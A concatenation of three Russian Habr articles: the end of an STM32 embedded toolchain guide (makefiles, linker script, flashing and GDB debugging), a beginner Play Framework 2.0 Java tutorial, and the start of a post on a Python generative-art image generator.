$(BUILD_DIR)/%.bin: $(BUILD_DIR)/%.elf | $(BUILD_DIR)
$(BIN) $< $@
$(BUILD_DIR):
mkdir $@
# clean up
clean:
-rm -fR $(BUILD_DIR)
# dependencies
-include $(wildcard $(BUILD_DIR)/*.d)
# *** EOF ***
```
Вот так выглядит пример make файла для компонента независимого сторожевого таймера
```
$(info IWDG_MK_INC=$(IWDG_MK_INC) )
ifneq ($(IWDG_MK_INC),Y)
IWDG_MK_INC=Y
mkfile_path := $(abspath $(lastword $(MAKEFILE_LIST)))
$(info Build $(mkfile_path) )
IWDG_DIR = $(WORKSPACE_LOC)bsp/bsp_stm32f4/iwdg
#@echo $(error IWDG_DIR=$(IWDG_DIR))
IWDG=Y
INCDIR += -I$(IWDG_DIR)
OPT += -DHAS_IWDG
SOURCES_C += $(IWDG_DIR)/iwdg_drv.c
ifeq ($(CLI),Y)
ifeq ($(IWDG_COMMANDS),Y)
OPT += -DHAS_IWDG_COMMANDS
SOURCES_C += $(IWDG_DIR)/iwdg_commands.c
endif
endif
endif
```
А это MakeFile для конкретной сборки.
```
MK_PATH:=$(dir $(realpath $(lastword $(MAKEFILE_LIST))))
#@echo $(error MK_PATH=$(MK_PATH))
WORKSPACE_LOC:= $(MK_PATH)../../
INCDIR += -I$(MK_PATH)
INCDIR += -I$(WORKSPACE_LOC)
include $(MK_PATH)components.mk
include $(MK_PATH)cli_config.mk
include $(MK_PATH)diag_config.mk
include $(MK_PATH)test_config.mk
include $(WORKSPACE_LOC)code_base.mk
include $(WORKSPACE_LOC)rules.mk
```
В Makefile тоже можно делать Include guard подобно \*.h файлам препроцессора.
```
$(info FILE_MK_INC=$(FILE_MK_INC))
ifneq ($(FILE_MK_INC),Y)
FILE_MK_INC=Y
endif
```
И так далее. Для каждой сборки один Makefile и множество общих \*.mk файлов.
Windows Build Tools binaries можно [скачать по ссылке](https://github.com/xpack-dev-tools/windows-build-tools-xpack/releases/).
Можно скопировать утилиты Windows Build Tools в папку:
`C:\xpack-windows-build-tools-4.3.0-1\bin`
Фаза 4. Подключить настройки компоновщика (Linker(а)). (\*.ld файл)
-------------------------------------------------------------------
После сборки \*.с файлов образуются столько же \*.o фалов. Их надо скомпоновать в один \*.bin файл. Этим занимается утилита arm-none-eabi-**ld**.exe. Как и любой утилите нужен свой конфигурационный файл. Обычно это \*.ld файл. Вот пример конфигурации компоновщика для сборки первичного загрузчика.
```
/* Entry Point */
ENTRY(Reset_Handler)
/* Highest address of the user mode stack */
_estack = ORIGIN(RAM) + LENGTH(RAM); /* end of RAM */
/* Generate a link error if heap and stack don't fit into RAM */
_Min_Heap_Size = 0x200; /* required amount of heap */
_Min_Stack_Size = 0x900; /* required amount of stack */
/* Specify the memory areas */
MEMORY
{
RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 320K
FLASH (rx) : ORIGIN = 0x08000000, LENGTH = 16K
}
/* Define output sections */
SECTIONS
{
/* The startup code goes first into FLASH */
.isr_vector :
{
. = ALIGN(4);
KEEP(*(.isr_vector)) /* Startup code */
. = ALIGN(4);
} >FLASH
/* The program code and other data goes into FLASH */
.text :
{
. = ALIGN(4);
*(.text) /* .text sections (code) */
*(.text*) /* .text* sections (code) */
*(.glue_7) /* glue arm to thumb code */
*(.glue_7t) /* glue thumb to arm code */
*(.eh_frame)
KEEP (*(.init))
KEEP (*(.fini))
. = ALIGN(4);
_etext = .; /* define a global symbols at end of code */
} >FLASH
/* Constant data goes into FLASH */
.rodata :
{
. = ALIGN(4);
*(.rodata) /* .rodata sections (constants, strings, etc.) */
*(.rodata*) /* .rodata* sections (constants, strings, etc.) */
. = ALIGN(4);
} >FLASH
.ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) } >FLASH
.ARM : {
__exidx_start = .;
*(.ARM.exidx*)
__exidx_end = .;
} >FLASH
.preinit_array :
{
PROVIDE_HIDDEN (__preinit_array_start = .);
KEEP (*(.preinit_array*))
PROVIDE_HIDDEN (__preinit_array_end = .);
} >FLASH
.init_array :
{
PROVIDE_HIDDEN (__init_array_start = .);
KEEP (*(SORT(.init_array.*)))
KEEP (*(.init_array*))
PROVIDE_HIDDEN (__init_array_end = .);
} >FLASH
.fini_array :
{
PROVIDE_HIDDEN (__fini_array_start = .);
KEEP (*(SORT(.fini_array.*)))
KEEP (*(.fini_array*))
PROVIDE_HIDDEN (__fini_array_end = .);
} >FLASH
/* used by the startup to initialize data */
_sidata = LOADADDR(.data);
/* Initialized data sections goes into RAM, load LMA copy after code */
.data :
{
. = ALIGN(4);
_sdata = .; /* create a global symbol at data start */
*(.data) /* .data sections */
*(.data*) /* .data* sections */
. = ALIGN(4);
_edata = .; /* define a global symbol at data end */
} >RAM AT> FLASH
/* Uninitialized data section */
. = ALIGN(4);
.bss :
{
/* This is used by the startup in order to initialize the .bss secion */
_sbss = .; /* define a global symbol at bss start */
__bss_start__ = _sbss;
*(.bss)
*(.bss*)
*(COMMON)
. = ALIGN(4);
_ebss = .; /* define a global symbol at bss end */
__bss_end__ = _ebss;
} >RAM
/* User_heap_stack section, used to check that there is enough RAM left */
._user_heap_stack :
{
. = ALIGN(4);
PROVIDE ( end = . );
PROVIDE ( _end = . );
. = . + _Min_Heap_Size;
. = . + _Min_Stack_Size;
. = ALIGN(4);
} >RAM
/* Remove information from the standard libraries */
/DISCARD/ :
{
libc.a ( * )
libm.a ( * )
libgcc.a ( * )
libnosys.a ( * )
}
.ARM.attributes 0 : { *(.ARM.attributes) }
}
```
Фаза 5. Подключить инициализацию окружения. Ассемблерный код.
-------------------------------------------------------------
До запуска функции main() происходит множество инфраструктурных действий:
1. Выбрать вариант загрузки по двум Boot пинам (Flash 0x0000\_0000, Flash 0x0800\_0000, SRAM 0x2000\_0000)
2. Проинициализировать регистр указателя SP на начало стека первым qWord(ом) бинаря.
3. Проинициализировать глобальные переменные в RAM данными из бинаря. (интервал rwdata).
4. Обнулить неинициализированные переменные в RAM (интервал bss).
5. Настроить ядро вычисление с плавающей точкой FPU.
6. Прописать в регистры процессора местонахождение адресов обработчиков прерываний.
7. Примонтировать, если нужно, внешнюю Off-Chip RAM память.
Всё это прописано в коде на Assembler в \*.S файле. Который отрабатывает до запуска функции main(). Это например файл startup\_stm32f413xx.S
Фаза 6. Нужны сорцы от Vendor(ов) чипа.
---------------------------------------
Чтобы можно было начать разрабатывать какое-то приложение и бизнес логику нужно целая куча системного софта. Это базовый софт или System Software. В его состав входит всяческая инициализация. Инициализация тактирования(TIM, RCC, RTC), интерфейсов (CAN, SPI, I2S, I2C, UART, USB, GPIO, SDIO, SAI, Ethernet), системных компонент (FLASH, SRAM, DMA, MPU, IWDG, RNG, FPU, NVIC), возможностей генерации (DAC, PWM). Это десятки тысяч строк кода. К счастью часть этого кода предоставляют нормальные вендоры чипов.
При разработке на STM32 у нас по сути два вендора: Компания ARM и Компания STMicroelectronic.
Компания ARM выпускает так называемый CMSIS(Common Microcontroller Software Interface Standard). Это С обертки для ASM команд под Cortex-M чипы. Так же \*.ld файлики для компоновщика. Это скачивается с их сайта https://silver.arm.com/browse/CMSIS после регистрации
Компания STMicroelectonic выкатывает HAL Drivers - базовый системный софт для инициализации периферии микроконтроллера. Самое простое это установить их компанейский код генератор и STM32CubeMX [по ссылке](https://www.st.com/en/development-tools/stm32cubemx.html) и сгенерировать проект.
 STM32CubeMX сам скачает и сохранит сорцы базового кода в папку STM32F4xx\_HAL\_Driver. Только скачивать предстоит через Tor browser так как РФ у ST числится санкционной территорией. Вот список сорцов STM32F4xx\_HAL\_Driver от вендора:
Обратите внимание никаких статических библиотек (\*.а) как у Texas Instruments. Чистые сорцы (\*.c \*.h файлики).
Фаза 7. Как скормить прошивку микроконтроллеру?
-----------------------------------------------
Накатить прошивку на чип можно при помощи программатора ST-Link через интерфейс SWD/JTAG и утилиты STM32 ST-LINK Utility.exe. Программатор может быть встроен в отладочную плату от ST, как например в семействе Nucleo\_f4XXXxx:
Если вы записываете Generic \*.bin артефакт(приложение), то надо указать адрес начала бинарная в On-Chip Nor Flash памяти. Запись \*.hex файлов **безопаснее** так как вам не надо явно указывать адрес начала прошивки. Прошивка это просто бинарный массив в файле. Текстовым редактором его не проанализируешь. Анализировать содержимое бинарных файлов (\*.bin) можно консольной утилитой-переходником **hexdump**.exe. Даешь \*.bin получаешь **Hex Wall** в \*.txt
```
hexdump -C nucleo_f401re_gcc_m.bin > nucleo_f401re_gcc_m.txt
```
Стоит убедиться, что в первом qword всегда адрес из RAM (начало стека), а во втором qword всегда адрес из Flash (Reset\_Handler). Тогда прошивка не зависнет до запуска main().
GUI окно утилиты STM32 ST-LINK Utility.exe. Можно прописать прошивку по любому отступу.
Классическая ситуация: накатили прошивку и плата зависла. Не мигает heartbeat LED. Как вариант может помочь пошаговая отладка.
Для пошаговой отладки потребуется обновление прошивки программатора ST-Link. Это можно выполнить прямо в утилите STM32 ST-LINK Utility.exe во вкладке ST-LINK:
С точки зрения DevOps(а) надо прошивать чипы из командной строки, Batch скриптом. Это легко автоматизировать. Вот скрипт автоматического обновления прошивки при помощи утилиты ST-LINK\_CLI.exe
```
echo off
cls
set project_name=nucleo_f413zh_generic_gcc_d_m
set project_dir=%cd%
echo project_dir=%project_dir%
set artefact_hex=%project_dir%\build\%project_name%.hex
set FlashTool="C:\Program Files (x86)\STMicroelectronics\STM32 ST-LINK Utility\ST-LINK Utility\ST-LINK_CLI.exe"
rem set Device= ID=0x463 SN=066CFF323535474B43013113
set Device=
set options= -c %Device% SWD freq=4000 HOTPLUG LPM -P %artefact_hex% -V "after_programming" -Log -TVolt
call %FlashTool% %options%
rem Reset System
call %FlashTool% -Rst
```
Вот лог результата работы
Easy!
Прошивка из ST-LINK\_CLI.exe эффективнее, поскольку использует драгоценный интерфейс USB-SWD, только тогда, когда это реально нужно, а не всегда как в GUI версия (STM32 ST-LINK Utility.exe).
Фаза 8. Установка Debug Server
------------------------------
Для пошаговой отладки надо установить GDB Server. Это утилита-переходник, которая с одной стороны допрашивает чип по SWD или JTAG, а с другой стороны обслуживает TCP сокет к которому подключится отладчик arm-none-eabi-gdb.exe к порту с номером 61234.
Эту утилиту можно извлечь из набора утилит от Atollic TrueSTUDIO. Atollic TrueSTUDIO(R) for STM32 можно [скачать с сайта ST.com](https://www.st.com/en/development-tools/truestudio.html).
 Надо зарегистрироваться на сайте st.com. Скачивать дистрибутив en.TrueSTUDIO\_V9.3.exe.exe получится при помощи **Tor Browser** так как РФ у ST числится, как санкционная территория.
**ST-LINK\_gdbserver** установлен в
`C:\Program Files (x86)\Atollic\TrueSTUDIO for STM32 9.3.0\Servers\ST-LINK_gdbserver\ST-LINK_gdbserver.exe`
Нужно добавить в переменную Path путь к папке с утилитами binutils компилятора. В данном случае этот путь выглядит так:
`C:\Program Files (x86)\GNU Tools ARM Embedded\5.4 2016q3\bin\`
Опционально можно настроить конфигурацию отладчика в текстовом редакторе Eclipse во вкладке Run->External Tools->External Tools Configurations… или просто запустить GDB server (сервер отладки) вручную. Перейти в папку:
`C:\Program Files (x86)\Atollic\TrueSTUDIO for STM32 9.3.0\Servers\ST-LINK_gdbserver`
запустить скрипт **ST-LINK\_gdbserver.bat.**
`C:\Program Files (x86)\Atollic\TrueSTUDIO for STM32 9.3.0\Servers\ST-LINK_gdbserver\ST-LINK_gdbserver.bat`
Путь к отладочному серверу C:\Program Files (x86)\STMicroelectronics\STM32 ST-LINK Utility\ST-LINK Utility следует прописать в переменную Path
Фаза 9. Настройка Debug конфигурации для конкретной сборки
----------------------------------------------------------
Неудобство Eclipse по сравнению с тем же пресловутым IAR это то, что для каждой сборки приходится настраивать конфигурацию отладки. Однако в Eclipse можно нажать Ctrl+3 появится окно быстрого поиска
 и набрать там Debug Configuration. Надо прописать путь к \*.elf файлу.
На вкладке Debugger надо прописать путь к отладчику от ARM GCC
```
C:\Program Files (x86)\GNU Arm Embedded Toolchain\10 2021.10\bin\arm-none-eabi-gdb.exe
```
и прописать порт от сервера отладки localhost:61234
На вкладке Startup надо прописать, что следует поставить точку останова на функции **main**(). Можно поставить точку останова также на более ранних функциях **Reset\_Handler** или **SystemInit**().
Перед началом пошаговой отладки надо запустить отладочный сервер . Достаточно просто запустить на исполнение скрипт **ST-LINK\_gdbserver.bat** в папке
`C:\Program Files (x86)\Atollic\TrueSTUDIO for STM32 9.3.0\Servers\ST-LINK_gdbserver`
Желательно из-под командной строки cmd, чтобы были видны логи отладочного сервера.
Для того чтобы выполнять пошаговую отладку нужно пересобрать артефакты с опциями компилятора
```
-g3 -gdwarf-2 -ggdb
```
Пошаговая отладка подсвечивается прямо в текстовом редакторе Eclipse зеленой строчкой. Это благодаря утилите arm-none-eabi-**addr2line**.exe. Текстовый редактор Eclipse сам парсит вывод **addr2line** и подсвечивает активный адрес в виде зелёной строчки в коде.
Во время пошаговой отладки светодиоды программатора ST-Link должны мигать зелено-красным цветом.
#### Блок-схема Toolchain(а)
Все вышесказанное можно представить в виде одной блок-схемы (Helicopter view) на одном единственном листочке. Такова общая канва.
Для нас исходниками являются файлы с расширениями \*.ld, \*.c, \*.h, \*.S, \*.cproject, \*.project, \*.Makefile, \*.mk , \*.bat - их и надо подвергать версионному контролю в GIT. Автогенеренными для нас являются файлы с расширениями \*.o, \*.bin, \*.bak, \*.hex, \*.map, \*.elf, \*.out, \*.d, \*.a. Отгружать следует файлы \*.bin, \*.hex, \*.map, \*.elf. Это артефакты или конечный продукт работы программиста микроконтроллера.
Также рекомендую пользоваться GIТ(ом) исключительно из-под командной строки. Так вы сможете обрабатывать вывод утилиты git легендарное утилитой **grep**. Можно делать вложенные grep поверх grep. Вот например так.
Если бы был аналог утилиты **grep** в материальном мире, то вы бы могли находить иголки в стоге сена, понимаете? Вам уже нравится утилита grep?
### UART CLI Для отладки (или добавьте в прошивку гласность)
Любая разработка начинается там, где есть возможность наблюдать за тем, что получилось после изменений. Поэтому вам понадобится интерфейс командной строки CLI для отладки софта и железа. Крайне желательно использовать **раскраску** **логов**, чтобы концентрировать **внимание** на ошибках (красный) и предупреждениях (желтый). Плюс появление цвета в консоли это признак того, что поток символов непрерывный так как коды цветов распарсились корректно. Своего рода контрольная сумма принятых данных. Да и вообще консольные логи должны выглядеть весело. Просматривать UART-CLI логи можно в утилите **TeraTerm** или PuTTY. Они точно понимают символы цветов.
Поэтому надо активировать свободный UART, написать в прошивке **интерпретатор** **команд** CLI для RunTime отладки по интерфейсу UART. CLI(шку) можно также инкапсулировать в любой полу или полнодуплексный интерфейс(LoRa, CAN, UART, RS485) или протокол (TCP/UDP). При наличии CLI для общения с гаджетом вам не нужно будет писать никакую GUI(ню) на QT, .Net или Python. Достаточно только общедоступных терминалов Serial порта как TeraTerm, PyTTY, Hercules. Это же успех!
Трюки для эффективной отладки прошивок
--------------------------------------
* Всегда проверяйте адрес функции main(). Может случится, что техник записал Generiс \*.bin в область памяти для Bootloader или наоборот. Прошивка должна проверять адрес функции main, что он лежит в нужном секторе On-Chip NorFlash(а).
* Используйте файловую систему FlashFs. Это позволит уменьшить количество сборок, так как конфигурации будут в файловой системе.
* Используйте HeartBeat LED. Так вы поймете, что прошивка зависла, если нет мигания.
* Используйте GPIO+Oscilloscope+DMM для физической отладки быстрых процессов.
* Разделяйте аппаратно-зависимый и аппаратно-независимый код. Аппаратно-независимый код тестируйте на LapTop(е).
* Используйте серверы сборки (например Jenkins) для поддержания на плаву своих сборок. У вас всегда будет готовый артефакт для отгрузки. Плюс сразу будет видно какие сборки конфликтуют и оперативно принять меры по улучшению модульности.
* Пишите свои загрузчики. Программатор может исчезнуть, сломаться. С загрузчиком вы обновите прошивку своего гаджета буквально по 3м проводам UART. Причем делайте первичный и вторичный загрузчик. Это позволит прописывать вторичный загрузчик по произвольному адресу.
* Используйте интерфейс SWD/JTAG для пошаговой отладки и поиска причин зависаний.
* Используйте утилиту STM Studio для построения графиков переменных по их адресу в ячейках RAM.
* Покрывайте код модульными тестами (программные скрепы). Это лучший способ найти ошибку в коде, который затруднительно пройти пошаговой отладкой. Плюс тесты помогут безопасно делать **перестройку** (рефакторинг). Сегодня российское общество испытывает явный дефицит **программных** скреп.
Вывод
-----
Существуют и другие ToolChain(ы) (IAR, Keil). Тут же я написал про **бесплатный** способ **полноценно** вести разработку и отладку на STM32. Однако если разработчик научится собирать код из make, то он перестанете быть рабом IDE с их периодическими зависаниями. Плюс можно сэкономить 3500 EUR не покупая проприетарный компилятор, который еще и не продадут из-за санкций.
#### Ссылки на похожие посты:
[STM32 + CMSIS + STM32CubeIDE](https://habr.com/ru/post/481478/)
[ARM-ы для самых маленьких: тонкости компиляции и компоновщик](https://habr.com/ru/post/191058/)
[STM32 на MAC OS](https://habr.com/ru/post/205028/)
[Отладка STM32 в среде Eclipse+GCC](http://we.easyelectronics.ru/STM32/otladka-stm32-v-srede-eclipsegcc.html)
[ARM-ы для самых маленьких: компоновка-2, прерывания и hello world!](https://habr.com/ru/post/194816/)
[STM32 + CMSIS + STM32CubeIDE](https://habr.com/ru/post/481478/)
[ARM-микроконтроллеры STM32F. Быстрый старт c STM32-Discovery](https://habr.com/ru/post/128734/)
[Развертывание среды разработки для STM32](https://bravikov.wordpress.com/2016/09/11/%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D1%80%D1%82%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%81%D1%80%D0%B5%D0%B4%D1%8B-%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8-%D0%B4%D0%BB%D1%8F-stm32/)
[STM32CubeMX — продвинутый генератор проектов для STM32](https://habr.com/ru/post/213561/)
[Eclipse для микроконтроллеров (STM32) + FreeRTOS Task Aware Debugge](https://habr.com/ru/post/441810/)
[Переход из online в offline IDE при программировании Nucleo-F401RE](https://habr.com/ru/post/243395/)
[Начинаем изучать Cortex-M на примере STM32](https://habr.com/ru/post/216843/)
[Программируем микроконтроллеры stm32 при помощи QtCreator](https://habr.com/ru/post/222877/)
[Настраиваем бесплатную сборку для написания и отладки программ под микроконтроллеры на основе ядра ARM под Windows 10](https://habr.com/ru/post/325450/)
[Tutorial: Makefile Projects with Eclipse](https://mcuoneclipse.com/2017/07/22/tutorial-makefile-projects-with-eclipse/) | https://habr.com/ru/post/673522/ | null | ru | null |
# Пишем первый проект на Play Framework 2.0
13 марта состоялся релиз второй версии scala/java-фреймворка Play. На хабре уже был [обзор новых фич Play 2.0](http://habrahabr.ru/post/140700/). В этой же статье я хочу восполнить пробел в отсутствии мануалов на русском языке по этому интересному фреймворку на примере создания простого приложения на Java, состоящего из списка категорий и привязанных к ним вакансий.
Статья рассчитана на тех, кто совсем не знаком с Play и хотел бы его «пощупать», не тратя много времени.
Для работы с Play 2.0 вам понадобиться [JDK 6 и выше](http://www.oracle.com/technetwork/java/javase/downloads/index.html). Для своей ubuntu 11.10 я поставил [JDK 7](http://askubuntu.com/questions/55848/how-do-i-install-oracle-java-jdk-7).
#### Создаем проект
1. [Скачиваем Play 2.0](http://download.playframework.org/releases/play-2.0.zip) и распаковываем туда, где у нас есть права и на запись и на чтение, у меня это `/var/www/play20`.
2. Переходим в директорию, где вы держите сайты и выполняем скрипт:
```
/var/www/play20/play new jobs
```
Ответ на первый вопрос оставляем по умолчанию, на второй выбираем «2 — Create a simple Java application». Для Windows все аналогично, только вы выполняете не shell-скрипт, а .bat.
3. Переходим в созданный проект, входим в консоль play и запускаем проект:
```
cd jobs
/var/www/play20/play
run
```
4. Проверяем, что у нас получилось: <http://localhost:9000>. Для запуска проекта на другом порте используем *«run номер\_порта»* (кавычки обязательны).
5. Теперь для начала разработки на Play 2.0 осталось настроить IDE. Останавливаем сервер и возвращаемся в консоль командой CTRL+D и выполняем *eclipsify* или *idea* в зависимости от вашей среды разработки. Для netbeans автоматического создания проекта пока нет.
Чтобы подключить сорсы (удобно смотреть через open declaration исходники) и javadoc выполняем *«eclipsify with-source=true»* (не забываем про кавычки).
6. Открываем проект, я использую [Eclipse](http://www.eclipse.org/downloads/): *File > Import > General > Existing Projects into Workspace*.
#### Список категорий
Создаем модель категории *app/models/Category.java*:
```
package models;
import java.util.List;
import javax.persistence.Entity;
import javax.persistence.Id;
import play.data.validation.*;
import play.db.ebean.Model;
@Entity
public class Category extends Model {
@Id
public Long id;
@Constraints.Required
public String title;
public static Finder find = new Finder (
Long.class, Category.class
);
public static List all() {
return find.all();
}
}
```
В шаблоне главной страницы *views/index.scala.html* выводим все категории:
```
@(categories: List[Category])
@main("Jobs") {
@for(category <- categories) {
* @category.title
}
}
```
Шаблоны в play 2.0 представляют собой html + блоки кода на Scala, которые начинаются с символа '@'. Также стоит обратить внимание, что шаблоны похожи на функции и имеют параметры, которые описываются в начале файла.
Чтобы в эклипсе работало автодополнение для вновь созданных шаблонов проект надо запускать через тильду: *"~run"*, также в настройках *Windows — Preferences — General/Workspace* убрать галочку «Build automatically», поставить галочки «Refresh using native hooks or polling», «Refresh on access».
Передаем из контроллера приложения *app/controllers/Application.java* в отредактированный нами выше шаблон список категорий:
```
import models.Category;
...
public class Application extends Controller {
public static Result index() {
return ok(index.render( Category.all()));
}
}
```
Данные для начала будем хранить для простоты просто в памяти, для этого расскоментируем строчки в *conf/application.conf*:
```
db.default.driver=org.h2.Driver
db.default.url="jdbc:h2:mem:play"
...
ebean.default="models.*"
```
Жмем F5 в браузере, нам предложат выполнить SQL-запрос. Кликаем на «Apply this script now!» и мы должны увидеть пустой список ul: у нас пока нет ни одной категории.
#### Добавление категорий
Добавляем в шаблон *app/views/index.scala.html* форму добавления категории:
```
@(categories: List[Category], categoryForm: Form[Category])
@import helper._
@main("Jobs") {
@for(category <- categories) {
* @category.title
}
@form(routes.Application.add()) {
@inputText(categoryForm("title"))
}
}
```
В шаблоне мы импользуем функции из *helper.\_*: функция *form* создает HTML-форму с заполненными полями action и method, функция *inputText* генерит текстовый input.
Прописываем маршрут в *conf/routes*:
```
POST /add controllers.Application.add()
```
Добавляем в *app/controllers/Application.java* экшн, который будет создавать новую категорию используя данные, полученные из формы и обновим вызов рендеринга шаблона в экшене index, добавив второй параметр (форму):
```
import play.data.Form;
...
public static Result index() {
return ok(index.render(Category.all(), form(Category.class)));
}
public static Result add() {
Form filledForm = form(Category.class).bindFromRequest();
if (filledForm.hasErrors()) {
return badRequest(index.render(Category.find.all(), filledForm));
}
Category category = filledForm.get();
category.save();
return redirect(routes.Application.index());
}
```
Обновляем <http://localhost:9000> и пробуем добавлять категории.
На этом месте у меня проект сломался. Чтобы все пересобрать выходим из консоли, вызываем */var/www/play20/play clean-all* и заново запускаем.
#### Вакансии
Модель вакансий app/models/Job.java, связанная один-ко-многим с категориями:
```
package models;
import java.util.List;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.ManyToOne;
import play.data.validation.*;
import play.db.ebean.Model;
import play.db.ebean.Model.Finder;
@Entity
public class Job extends Model {
@Id
public Long id;
@Constraints.Required
public String title;
@ManyToOne
public Category category;
public static Finder find = new Finder(Long.class, Job.class);
}
```
Добавляем обратную связь в модель категорий *app/models/Category.java*:
```
import javax.persistence.OneToMany;
...
@OneToMany(mappedBy="category")
public List jobs;
```
Жмем F5, применяем новый SQL.
Теперь мы можем создать шаблон вывода категории views/show.scala.html со всеми ее вакансиями:
```
@(category: Category, jobForm: Form[Job])
@import helper._
@main("Jobs") {
@category.title
===============
Вакансии:
---------
@for(job <- category.jobs) {
* @job.title
}
Добавить вакансию
-----------------
@form(routes.Jobs.аdd(category.id)) {
@inputText(jobForm("title"))
}
}
```
Добавляем контроллер вакансий *app/controllers/Jobs.java*, позволяющий добавить новую вакансию, вывод вакансии оставим на потом:
```
package controllers;
import java.util.List;
import play.*;
import play.data.Form;
import play.mvc.*;
import views.html.*;
import models.*;
public class Jobs extends Controller {
public static Result add(Long categoryId) {
Form filledForm = form(Job.class).bindFromRequest();
if (filledForm.hasErrors()) {
Category category = Category.find.byId(categoryId);
return badRequest(show.render(category, filledForm));
}
Job job = filledForm.get();
job.category = Category.find.ref(categoryId);
job.save();
return redirect(routes.Categories.show(categoryId));
}
public static Result show(Long id) {
return TODO;
}
}
```
#### Рефакторим категории
Осталось реализовать страницу вывода категории и всех ее вакансий, заодно вынесем из Application-контроллера добавление категорий.
Создаем отдельный контроллер для категорий *app/controllers/Categories.java*:
```
package controllers;
import java.util.List;
import play.*;
import play.data.Form;
import play.mvc.*;
import views.html.*;
import models.*;
public class Categories extends Controller {
public static Result add() {
Form filledForm = form(Category.class).bindFromRequest();
if (filledForm.hasErrors()) {
return badRequest(index.render(Category.find.all(), filledForm));
}
Category category = filledForm.get();
category.save();
return redirect(routes.Application.index());
}
public static Result show(Long id) {
Category category = Category.find.byId(id);
return ok(show.render(category, form(Job.class)));
}
}
```
Не забываем добавить роуты добавления вакансии, вывода категории и меняем маршрут добавления новых категорий в *conf/routes*:
```
GET /category/:id controllers.Categories.show(id: Long)
POST /category/add controllers.Categories.add()
POST /job/add controllers.Jobs.add(categoryId: Long)
```
В шаблоне главной страницы *views/index.scala.html* меняем параметр функции форм, добавленяем ссылки на категории:
```
@(categories: List[Category], categoryForm: Form[Category])
@import helper._
@main("Jobs") {
@for(category <- categories) {
* [@category.title](@routes.Categories.show(category.id))
}
@form(routes.Categories.add()) {
@inputText(categoryForm("title"))
}
}
```
На этом шаге я еще раз пересобрал проект командой *play clean-all*.
Ресурсы для дальнейшего изучения Play 2.0:
* [Официальная документация](http://www.playframework.org/documentation/2.0/Home)
* [FAQ на stackoverflow.com](http://stackoverflow.com/questions/tagged/playframework-2.0?sort=faq&pagesize=50)
* [Документация](http://www.avaje.org/ebean/documentation.html) и пример проекта с использованием [ebean](https://github.com/ebean-orm-demo/demo-order)
* [Google group](https://groups.google.com/forum/#!forum/play-framework) | https://habr.com/ru/post/141439/ | null | ru | null |
# Ещё один пример генеративных изображений
Все любят генеративное искусство и всё что с ним связано (вот оно слева направо, в конце есть прикольные ссылочки).
вы только посмотрите, какое изображение!!!*(p.s. в описаниях к сгенерированным изображениям фразы, которые я подавал в генератор)*
Мне тоже было интересно копнуть в эту сторону, и недавно мне попал в руки [сайт](http://www.random-art.org/), который генерирует изображения по фразе. Также на сайте было сказано, что исходники закрыты, но есть [пример](http://math.andrej.com/2010/04/21/random-art-in-python/) подобной генерации на Python. Так как я питонист и интересна тема, то решил разобраться в работе алгоритма.
Скрипт генерации представлял из себя один файл, который через Tkinter случайным образом создавал картинку. Так как лучший способ полностью понять работы кода - это зарефакторить его, то этим я и занялся, и [вот ссылка](https://github.com/tetelevm/random_image_generator/tree/089cf6e338607a021f2ac97dcc6190499a078f42) на перерефакторенную версию скрипта.
А теперь немного к сути работы.
### Общее описание
**Random Image Generator** - это небольшая программа, которая генерирует изображение по заданной фразе. Пример:
случайная фразавторая случайная фразаОбщая суть генерации заключается в том, что создаётся некий *арт*, и затем он применяется ко всем пикселям изображения. По сути, *арт* представляет собой огромную формулу из *операторов* с большой вложенностью. *Оператор* - это отдельный математический оператор (логично), например, синус/косинус/среднее, который принимает одни флоатики и выдаёт другие флоатики.
Флоатики, которые преобразуются в цвет, изначально берутся из положения пикселя отностительно центра изображения. Это позволяет получать одинаковые результаты при каждой генерации для одного арта и бесконечно масштабировать картинку. Положение подаётся как `position = (size / pixel_number) * 2 - 1` чтобы иметь значение в [-1; 1]. А при установке пикселя на изображение каждый канал из float(-1; 1) переводится в int(0; 255).
### Арт
Так как формула хранится в *арте*, а затем лишь вычисляется для пикселей, то и создание итогового узора заложено именно там. И *арт* как раз есть то, что отвечает за красивые цвета и нелинейность получаемого изображения. Так что для понимания работы скрипта нужно понять, что происходит внутри *арта* и при его генерации.
Вот его пример, каждое название - отдельный оператор:
Длинное
```
Mod(
Tent(
Product(
VariableY(),
Sum(
Constant(
value=(0.3244364873390073, 0.7708296465915099, 0.9332060500466999)
),
Constant(
value=(0.5041825115944022, 0.6632634769751835, 0.1613102126504703)
)
)
)
),
Tent(
Tent(
Sin(
Mix(
Product(
Sin(
Mix(
Mix(
Level(
VariableY(),
VariableX(),
VariableY(),
treshold=-0.10683892347003532
),
Tent(
VariableY()
),
Sum(
Sum(
Level(
VariableX(),
Constant(
value=(0.675473655969658, 0.5954164416187114, 0.449629381492357)
),
VariableY(),
treshold=-0.5928609645964091
),
VariableY()
),
VariableY()
)
),
Well(
Constant(
value=(0.5503713883487658, 0.49962352442393165, 0.7688050540403824)
)
),
Level(
Sin(
Constant(
value=(0.8225282623320913, 0.3883003304362743, 0.9568771917767398)
),
phase=2.0376783801515193,
frequency=3.9896008410954966
),
Mix(
VariableX(),
VariableX(),
VariableY()
),
VariableY(),
treshold=-0.621706133226186
)
),
phase=2.6735684842393255,
frequency=1.3136102663251883
),
Tent(
Mix(
VariableY(),
Product(
Sum(
Level(
VariableY(),
Sin(
VariableY(),
phase=3.004718155488889,
frequency=1.4456333501008813
),
Mix(
VariableX(),
Constant(
value=(0.9345878558040448, 0.20889624624509862, 0.6315200232850579)
),
Product(
Constant(
value=(0.5330792534910264, 0.7945688505346382, 0.47051673946382233)
),
VariableY()
)
),
treshold=-0.38212437520625087
),
VariableY()
),
Well(
Mod(
Constant(
value=(0.400829150439062, 0.3021058233122762, 0.598367884016014)
),
Sum(
VariableY(),
Constant(
value=(0.24750821288915192, 0.5625010703560506, 0.21725209844356919)
)
)
)
)
),
Level(
Constant( ## (1)
value=(0.8052143634939728, 0.8271696932063766, 0.6657108279633096)
),
Sum(
Mod(
Constant(
value=(0.9054037881002341, 0.12796220865865926, 0.4943414103445982)
),
Mod(
Product(
VariableX(),
Tent(
VariableX()
)
),
VariableX()
)
),
Product(
Constant(
value=(0.2665617642620427, 0.14347704782011006, 0.5622638203078165)
),
Level(
Constant(
